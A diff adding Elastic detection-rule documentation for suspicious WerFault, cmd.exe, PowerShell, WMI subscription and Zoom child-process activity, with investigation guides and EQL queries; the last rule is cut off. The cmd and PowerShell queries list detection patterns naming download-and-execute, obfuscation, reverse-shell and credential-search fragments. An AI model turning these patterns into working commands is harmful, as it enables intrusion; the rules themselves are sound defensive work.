b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-werfault-child-process.asciidoc new file mode 100644 index 0000000000..60c7595bdf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-werfault-child-process.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-21-suspicious-werfault-child-process]] +=== Suspicious WerFault Child Process + +A suspicious WerFault child process was detected, which may indicate an attempt to run via the SilentProcessExit registry key manipulation. Verify process details such as command line, network connections and file writes. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.hexacorn.com/blog/2019/09/19/silentprocessexit-quick-look-under-the-hood/ +* https://www.hexacorn.com/blog/2019/09/20/werfault-command-line-switches-v0-1/ +* https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES/blob/master/Persistence/persistence_SilentProcessExit_ImageHijack_sysmon_13_1.evtx +* http://web.archive.org/web/20230530011556/https://blog.menasec.net/2021/01/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Persistence +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 419 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious WerFault Child Process* + + +WerFault.exe is a Windows error reporting tool that handles application crashes. Adversaries may exploit it by manipulating the SilentProcessExit registry key to execute malicious processes stealthily. The detection rule identifies unusual child processes of WerFault.exe, focusing on specific command-line arguments indicative of this abuse, while excluding known legitimate executables, thus highlighting potential threats. + + +*Possible investigation steps* + + +- Review the command line arguments of the suspicious child process to confirm the presence of "-s", "-t", and "-c" flags, which indicate potential abuse of the SilentProcessExit mechanism. +- Examine the process executable path to ensure it is not one of the known legitimate executables ("?:\Windows\SysWOW64\Initcrypt.exe", "?:\Program Files (x86)\Heimdal\Heimdal.Guard.exe") that are excluded from the detection rule. +- Investigate the network connections established by the suspicious process to identify any unusual or unauthorized external communications. +- Analyze file writes and modifications made by the process to detect any unauthorized changes or potential indicators of compromise. +- Check the parent process tree to understand the context of how WerFault.exe was invoked and identify any preceding suspicious activities or processes. +- Correlate the event with other security alerts or logs from data sources like Elastic Endgame, Elastic Defend, Microsoft Defender XDR, Sysmon, or SentinelOne to gather additional context and assess the scope of the potential threat. + + +*False positive analysis* + + +- Legitimate software updates or installations may trigger WerFault.exe with command-line arguments similar to those used in the SilentProcessExit mechanism. Users should verify the digital signature of the executable and check if it aligns with known update processes. +- Security software or system management tools might use WerFault.exe for legitimate purposes. Users can create exceptions for these known tools by adding their executables to the exclusion list in the detection rule. +- Custom scripts or enterprise applications that utilize WerFault.exe for error handling could be flagged. Review the process details and, if verified as non-threatening, add these scripts or applications to the exclusion list. +- Frequent occurrences of the same process being flagged can indicate a benign pattern. Users should monitor these patterns and, if consistently verified as safe, update the rule to exclude these specific processes. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further potential malicious activity and lateral movement. +- Terminate the suspicious child process of WerFault.exe immediately to halt any ongoing malicious actions. +- Conduct a thorough review of the SilentProcessExit registry key to identify and remove any unauthorized entries that may have been used to execute the malicious process. +- Restore any altered or deleted files from a known good backup to ensure system integrity and recover any lost data. +- Update and run a full antivirus and anti-malware scan on the affected system to detect and remove any additional threats or remnants of the attack. +- Monitor network traffic and system logs for any signs of persistence mechanisms or further attempts to exploit the SilentProcessExit mechanism. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + + process.parent.name : "WerFault.exe" and + + /* args -s and -t used to execute a process via SilentProcessExit mechanism */ + (process.parent.args : "-s" and process.parent.args : "-t" and process.parent.args : "-c") and + + not process.executable : ("?:\\Windows\\SysWOW64\\Initcrypt.exe", "?:\\Program Files (x86)\\Heimdal\\Heimdal.Guard.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Image File Execution Options Injection +** ID: T1546.012 +** Reference URL: https://attack.mitre.org/techniques/T1546/012/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Image File Execution Options Injection +** ID: T1546.012 +** Reference URL: https://attack.mitre.org/techniques/T1546/012/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-windows-command-shell-arguments.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-windows-command-shell-arguments.asciidoc new file mode 100644 index 0000000000..83765d7800 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-windows-command-shell-arguments.asciidoc @@ -0,0 +1,229 @@ +[[prebuilt-rule-8-19-21-suspicious-windows-command-shell-arguments]] +=== Suspicious Windows Command Shell Arguments + +Identifies the execution of the Windows Command Shell process (cmd.exe) with suspicious argument values. This behavior is often observed during malware installation. + +*Rule type*: eql + +*Rule indices*: + +* logs-crowdstrike.fdr* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* endgame-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Windows Security Event Logs +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Elastic Endgame +* Data Source: Crowdstrike + +*Version*: 208 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Windows Command Shell Arguments* + + +The Windows Command Shell (cmd.exe) is a critical component for executing commands and scripts. Adversaries exploit it to execute malicious scripts, download payloads, or manipulate system settings. The detection rule identifies unusual command-line arguments and patterns indicative of such abuse, filtering out known benign processes to minimize false positives. This helps in early detection of potential threats by monitoring for suspicious command executions. + + +*Possible investigation steps* + + +- Review the command line arguments associated with the cmd.exe process to identify any suspicious patterns or keywords such as "curl", "regsvr32", "wscript", or "Invoke-WebRequest" that may indicate malicious activity. +- Check the parent process of the cmd.exe execution to determine if it is a known benign process or if it is associated with potentially malicious activity, especially if the parent process is explorer.exe or other unusual executables. +- Investigate the user account associated with the cmd.exe process to determine if the activity aligns with the user's typical behavior or if it appears anomalous. +- Examine the network activity of the host to identify any unusual outbound connections or data transfers that may correlate with the suspicious command execution. +- Cross-reference the alert with other security logs or alerts from tools like Sysmon, SentinelOne, or Microsoft Defender XDR to gather additional context and corroborate findings. +- Assess the risk score and severity of the alert to prioritize the investigation and determine if immediate response actions are necessary. + + +*False positive analysis* + + +- Processes related to Spiceworks and wmiprvse.exe can trigger false positives. Exclude these by adding exceptions for process arguments containing "%TEMP%\\Spiceworks\\*" when the parent process is wmiprvse.exe. +- Development tools like Perl, Node.js, and NetBeans may cause false alerts. Exclude these by specifying their executable paths in the exception list. +- Citrix Secure Access Client initiated by userinit.exe can be a false positive. Exclude this by adding an exception for process arguments containing "?:\\Program Files\\Citrix\\Secure Access Client\\nsauto.exe" with the parent process name as userinit.exe. +- Scheduled tasks or services like PCPitstopScheduleService.exe may trigger alerts. Exclude these by adding their paths to the exception list. +- Command-line operations involving npm or Maven commands can be benign. Exclude these by specifying command-line patterns like "\"cmd\" /c %NETBEANS_MAVEN_COMMAND_LINE%" in the exception list. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of potential malware or unauthorized access. +- Terminate any suspicious cmd.exe processes identified by the detection rule to halt malicious activity. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious files or scripts. +- Review and restore any altered system settings or configurations to their original state to ensure system integrity. +- Analyze the command-line arguments and parent processes involved in the alert to understand the scope and origin of the threat, and identify any additional compromised systems. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional containment measures are necessary. +- Implement additional monitoring and detection rules to identify similar suspicious command-line activities in the future, enhancing the organization's ability to detect and respond to such threats promptly. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "cmd.exe" and + ( + process.command_line : ( + "*).Run(*", "*GetObject*", "* curl*regsvr32*", "*echo*wscript*", "*echo*ZONE.identifier*", + "*ActiveXObject*", "*dir /s /b *echo*", "*unescape(*", "*findstr*TVNDRgAAAA*", "*findstr*passw*", "*start*\\\\*\\DavWWWRoot\\*", + "* explorer*%CD%*", "*%cd%\\*.js*", "*attrib*%CD%*", "*/?cMD<*", "*/AutoIt3ExecuteScript*..*", "*&cls&cls&cls&cls&cls&*", + "*&#*;&#*;&#*;&#*;*", "* &&s^eT*", "*& ChrW(*", "*&explorer /root*", "*start __ & __\\*", "*findstr /V /L *forfiles*", + "*=wscri& set *", "*http*!COmpUternaME!*", "*start *.pdf * start /min cmd.exe /c *\\\\*", "*pip install*System.Net.WebClient*", + "*Invoke-WebReques*Start-Process*", "*-command (Invoke-webrequest*", "*copy /b *\\\\* ping *-n*", "*echo*.ToCharArray*" + ) or + + (process.args : "echo" and process.parent.name : ("wscript.exe", "mshta.exe")) or + + process.args : ("1>?:\\*.vbs", "1>?:\\*.js") or + + (process.args : "explorer.exe" and process.args : "type" and process.args : ">" and process.args : "start") or + + ( + process.parent.name : "explorer.exe" and + process.command_line : ( + "*&&S^eT *", + "*&& set *&& set *&& set *&& set *&& set *&& call*", + "**\\u00??\\u00??\\u00??\\u00??\\u00??\\u00??\\u00??\\u00??*" + ) + ) or + + (process.parent.name : "explorer.exe" and process.args : "copy" and process.args : "&&" and process.args : "\\\\*@*\\*") + ) and + + /* false positives */ + not (process.args : "%TEMP%\\Spiceworks\\*" and process.parent.name : "wmiprvse.exe") and + not ?process.parent.executable : ( + "?:\\Perl64\\bin\\perl.exe", + "?:\\Program Files\\nodejs\\node.exe", + "?:\\Program Files\\HP\\RS\\pgsql\\bin\\pg_dumpall.exe", + "?:\\Program Files (x86)\\PRTG Network Monitor\\64 bit\\PRTG Server.exe", + "?:\\Program Files (x86)\\Spiceworks\\bin\\spiceworks-finder.exe", + "?:\\Program Files (x86)\\Zuercher Suite\\production\\leds\\leds.exe", + "?:\\Program Files\\Tripwire\\Agent\\Plugins\\twexec\\twexec.exe", + "D:\\Agents\\?\\_work\\_tasks\\*\\SonarScanner.MSBuild.exe", + "?:\\Program Files\\Microsoft VS Code\\Code.exe", + "?:\\programmiweb\\NetBeans-*\\netbeans\\bin\\netbeans64.exe", + "?:\\Program Files (x86)\\Public Safety Suite Professional\\production\\leds\\leds.exe", + "?:\\Program Files (x86)\\Tier2Tickets\\button_gui.exe", + "?:\\Program Files\\NetBeans-*\\netbeans\\bin\\netbeans*.exe", + "?:\\Program Files (x86)\\Public Safety Suite Professional\\production\\leds\\leds.exe", + "?:\\Program Files (x86)\\Tier2Tickets\\button_gui.exe", + "?:\\Program Files (x86)\\Helpdesk Button\\button_gui.exe", + "?:\\VTSPortable\\VTS\\jre\\bin\\javaw.exe", + "?:\\Program Files\\Bot Framework Composer\\Bot Framework Composer.exe", + "?:\\Program Files\\KMSYS Worldwide\\eQuate\\*\\SessionMgr.exe", + "?:\\Program Files (x86)\\Craneware\\Pricing Analyzer\\Craneware.Pricing.Shell.exe", + "?:\\Program Files (x86)\\jumpcloud-agent-app\\jumpcloud-agent-app.exe", + "?:\\Program Files\\PostgreSQL\\*\\bin\\pg_dumpall.exe", + "?:\\Program Files (x86)\\Vim\\vim*\\vimrun.exe") and + not ( + /* Crowdstrike doesn't populate process.parent.executable */ + data_stream.dataset == "crowdstrike.fdr" and + process.parent.name : ( + "perl.exe", "node.exe", "pg_dumpall.exe", "PRTG Server.exe", "spiceworks-finder.exe", "leds.exe", "twexec.exe", + "SonarScanner.MSBuild.exe", "Code.exe", "netbeans64.exe", "javaw.exe", "Bot Framework Composer.exe", "SessionMgr.exe", + "Craneware.Pricing.Shell.exe", "jumpcloud-agent-app.exe", "vimrun.exe" + ) + ) and + not (process.args : "?:\\Program Files\\Citrix\\Secure Access Client\\nsauto.exe" and process.parent.name : "userinit.exe") and + not process.args : ( + "?:\\Program Files (x86)\\PCMatic\\PCPitstopScheduleService.exe", + "?:\\Program Files (x86)\\AllesTechnologyAgent\\*", + "https://auth.axis.com/oauth2/oauth-authorize*" + ) and + not process.command_line : ( + "\"cmd\" /c %NETBEANS_MAVEN_COMMAND_LINE%", + "?:\\Windows\\system32\\cmd.exe /q /d /s /c \"npm.cmd ^\"install^\" ^\"--no-bin-links^\" ^\"--production^\"\"" + ) and + not (process.name : "cmd.exe" and process.args : "%TEMP%\\Spiceworks\\*" and process.args : "http*/dataloader/persist_netstat_data") and + not (process.args == "echo" and process.args == "GEQ" and process.args == "1073741824") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-windows-powershell-arguments.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-windows-powershell-arguments.asciidoc new file mode 100644 index 0000000000..62f7f47bd6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-windows-powershell-arguments.asciidoc @@ -0,0 +1,250 @@ +[[prebuilt-rule-8-19-21-suspicious-windows-powershell-arguments]] +=== Suspicious Windows Powershell Arguments + +Identifies the execution of PowerShell with suspicious argument values. This behavior is often observed during malware installation leveraging PowerShell. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-crowdstrike.fdr* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Windows Security Event Logs +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Data Source: Elastic Endgame +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Windows Powershell Arguments* + + +PowerShell is a powerful scripting language and command-line shell used for task automation and configuration management in Windows environments. Adversaries exploit PowerShell's capabilities to execute malicious scripts, download payloads, and obfuscate commands. The detection rule identifies unusual PowerShell arguments indicative of such abuse, focusing on patterns like encoded commands, suspicious downloads, and obfuscation techniques, thereby flagging potential threats for further investigation. + + +*Possible investigation steps* + + +- Review the process command line and arguments to identify any encoded or obfuscated content, such as Base64 strings or unusual character sequences, which may indicate malicious intent. +- Check the parent process of the PowerShell execution, especially if it is explorer.exe or cmd.exe, to determine if the PowerShell instance was launched from a suspicious or unexpected source. +- Investigate any network activity associated with the PowerShell process, particularly looking for connections to known malicious domains or IP addresses, or the use of suspicious commands like DownloadFile or DownloadString. +- Examine the user account associated with the PowerShell execution to determine if it aligns with expected behavior or if it might be compromised. +- Correlate the event with other security alerts or logs from the same host or user to identify patterns or additional indicators of compromise. +- Assess the risk and impact of the detected activity by considering the context of the environment, such as the presence of sensitive data or critical systems that might be affected. + + +*False positive analysis* + + +- Legitimate administrative scripts may use encoded commands for obfuscation to protect sensitive data. Review the script's source and purpose to determine if it is authorized. If confirmed, add the script's hash or specific command pattern to an allowlist. +- Automated software deployment tools might use PowerShell to download and execute scripts from trusted internal sources. Verify the source and destination of the download. If legitimate, exclude the specific tool or process from the detection rule. +- System maintenance tasks often involve PowerShell scripts that manipulate files or system settings. Identify routine maintenance scripts and exclude their specific command patterns or file paths from triggering the rule. +- Security software may use PowerShell for scanning or remediation tasks, which can mimic suspicious behavior. Confirm the software's legitimacy and add its processes to an exception list to prevent false alerts. +- Developers might use PowerShell for testing or development purposes, which can include obfuscation techniques. Validate the developer's activities and exclude their specific development environments or scripts from the rule. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread or communication with potential command and control servers. +- Terminate any suspicious PowerShell processes identified by the detection rule to halt ongoing malicious activities. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious payloads or scripts. +- Review and clean up any unauthorized changes to system configurations or scheduled tasks that may have been altered by the malicious PowerShell activity. +- Restore any affected files or system components from known good backups to ensure system integrity and functionality. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are compromised. +- Implement additional monitoring and logging for PowerShell activities across the network to enhance detection of similar threats in the future. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "powershell.exe" and + + not ( + ?user.id == "S-1-5-18" and + /* Don't apply the user.id exclusion to Sysmon for compatibility */ + not data_stream.dataset : ("windows.sysmon_operational", "windows.sysmon") + ) and + + not process.parent.executable : ( + "?:\\Program Files\\*.exe", + "?:\\Program Files (x86)\\*.exe" + ) and + + ( + process.command_line : ( + "*^*^*^*^*^*^*^*^*^*", + "*`*`*`*`*", + "*+*+*+*+*+*+*", + "*[char[]](*)*-join*", + "*Base64String*", + "*[*Convert]*", + "*.Compression.*", + "*-join($*", + "*.replace*", + "*MemoryStream*", + "*WriteAllBytes*", + "* -enc *", + "* -ec *", + "* /e *", + "* /enc *", + "* /ec *", + "*WebClient*", + "*DownloadFile*", + "*DownloadString*", + "* iex*", + "* iwr*", + "* aQB3AHIAIABpA*", + "*Reflection.Assembly*", + "*Assembly.GetType*", + "*$env:temp\\*start*", + "*powercat*", + "*nslookup -q=txt*", + "*$host.UI.PromptForCredential*", + "*Net.Sockets.TCPClient*", + "*curl *;Start*", + "powershell.exe \"<#*", + "*ssh -p *", + "*http*|iex*", + "*@SSL\\DavWWWRoot\\*.ps1*", + "*.lnk*.Seek(0x*", + "*[string]::join(*", + "*[Array]::Reverse($*", + "* hidden $(gc *", + "*=wscri& set*", + "*http'+'s://*", + "*.content|i''Ex*", + "*//:sptth*", + "*//:ptth*", + "*h''t''t''p*", + "*'tp'':''/'*", + "*$env:T\"E\"MP*", + "*;cmd /c $?", + "*s''t''a''r*", + "*$*=Get-Content*AppData*.SubString(*$*", + "*=cat *AppData*.substring(*);*$*", + "*-join'';*|powershell*", + "*.Content;sleep *|powershell*", + "*h\''t\''tp:\''*", + "*-e aQB3AHIAIABp*", + "*iwr *https*).Content*", + "*$env:computername*http*", + "*;InVoKe-ExpRESsIoN $COntent.CONTENt;*", + "*WebClient*example.com*", + "*=iwr $*;iex $*", + "*ServerXmlHttp*IEX*", + "*XmlDocument*IEX*" + ) or + + (process.args : "-c" and process.args : "&{'*") or + + (process.args : "-Outfile" and process.args : "Start*") or + + (process.args : "-bxor" and process.args : "0x*") or + + process.args : "$*$*;set-alias" or + + process.args == "-e" or + + // ATHPowerShellCommandLineParameter + process.args : ("-EncodedCommandParamVariation", "-UseEncodedArguments", "-CommandParamVariation") or + + ( + process.parent.name : ("explorer.exe", "cmd.exe") and + process.command_line : ("*-encodedCommand*", "*Invoke-webrequest*", "*WebClient*", "*Reflection.Assembly*")) + ) and + not process.command_line : ( + "*Use-Icinga -Minimal*", + "*& {$j = sajb {Add-Type -AssemblyName*" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-wmi-event-subscription-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-wmi-event-subscription-created.asciidoc new file mode 100644 index 0000000000..48dc1407be --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-wmi-event-subscription-created.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-21-suspicious-wmi-event-subscription-created]] +=== Suspicious WMI Event Subscription Created + +Detects the creation of a WMI Event Subscription. Attackers can abuse this mechanism for persistence or to elevate to SYSTEM privileges. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-windows.sysmon_operational-* +* logs-endpoint.events.api-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf +* https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Sysmon +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 312 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious WMI Event Subscription Created* + + +Windows Management Instrumentation (WMI) is a powerful framework for managing data and operations on Windows systems. It allows for event subscriptions that can trigger actions based on system events. Adversaries exploit this for persistence by creating event subscriptions that execute malicious scripts or commands. The detection rule identifies such abuse by monitoring specific event codes and API calls related to the creation of suspicious WMI event consumers, flagging potential threats. + + +*Possible investigation steps* + + +- Review the event logs for event code 21 in the windows.sysmon_operational dataset to identify the specific WMI event subscription created, focusing on the winlog.event_data.Operation and winlog.event_data.Consumer fields. +- Examine the process details associated with the IWbemServices::PutInstance API call in the endpoint.events.api dataset, particularly the process.Ext.api.parameters.consumer_type, to determine the nature of the consumer created. +- Investigate the source and context of the command or script associated with the CommandLineEventConsumer or ActiveScriptEventConsumer to assess its legitimacy and potential malicious intent. +- Check for any related processes or activities around the time of the event to identify potential lateral movement or further persistence mechanisms. +- Correlate the findings with other security alerts or logs to determine if this event is part of a broader attack pattern or campaign. + + +*False positive analysis* + + +- Legitimate administrative scripts or tools may create WMI event subscriptions for system monitoring or automation. Review the source and context of the event to determine if it aligns with known administrative activities. +- Software installations or updates might use WMI event subscriptions as part of their setup or configuration processes. Verify if the event coincides with recent software changes and consider excluding these specific events if they are routine. +- Security software or management tools often use WMI for legitimate purposes. Identify and document these tools in your environment, and create exceptions for their known behaviors to reduce noise. +- Scheduled tasks or system maintenance scripts may trigger similar events. Cross-reference with scheduled task logs or maintenance windows to confirm if these are expected activities. +- Custom scripts developed in-house for system management might inadvertently match the detection criteria. Ensure these scripts are documented and consider excluding their specific signatures from the rule. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes associated with the WMI event subscription, specifically those linked to CommandLineEventConsumer or ActiveScriptEventConsumer. +- Remove the malicious WMI event subscription by using WMI management tools or scripts to delete the identified event consumer. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any additional threats. +- Review and reset any compromised credentials, especially if SYSTEM privileges were potentially accessed or escalated. +- Monitor the network for any signs of similar activity or attempts to recreate the WMI event subscription, using enhanced logging and alerting mechanisms. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on other systems within the network. + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and + ( + (data_stream.dataset == "windows.sysmon_operational" and event.code == "21" and + ?winlog.event_data.Operation : "Created" and ?winlog.event_data.Consumer : ("*subscription:CommandLineEventConsumer*", "*subscription:ActiveScriptEventConsumer*")) or + + (data_stream.dataset == "endpoint.events.api" and event.provider == "Microsoft-Windows-WMI-Activity" and ?process.Ext.api.name == "IWbemServices::PutInstance" and + ?process.Ext.api.parameters.consumer_type in ("ActiveScriptEventConsumer", "CommandLineEventConsumer")) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Windows Management Instrumentation Event Subscription +** ID: T1546.003 +** Reference URL: https://attack.mitre.org/techniques/T1546/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-zoom-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-zoom-child-process.asciidoc new file mode 100644 index 0000000000..ed8132246a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-zoom-child-process.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-21-suspicious-zoom-child-process]] +=== Suspicious Zoom Child Process + +A suspicious Zoom child process was detected, which may indicate an attempt to run unnoticed. Verify process details such as command line, network connections, file writes and associated file signature details as well. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* 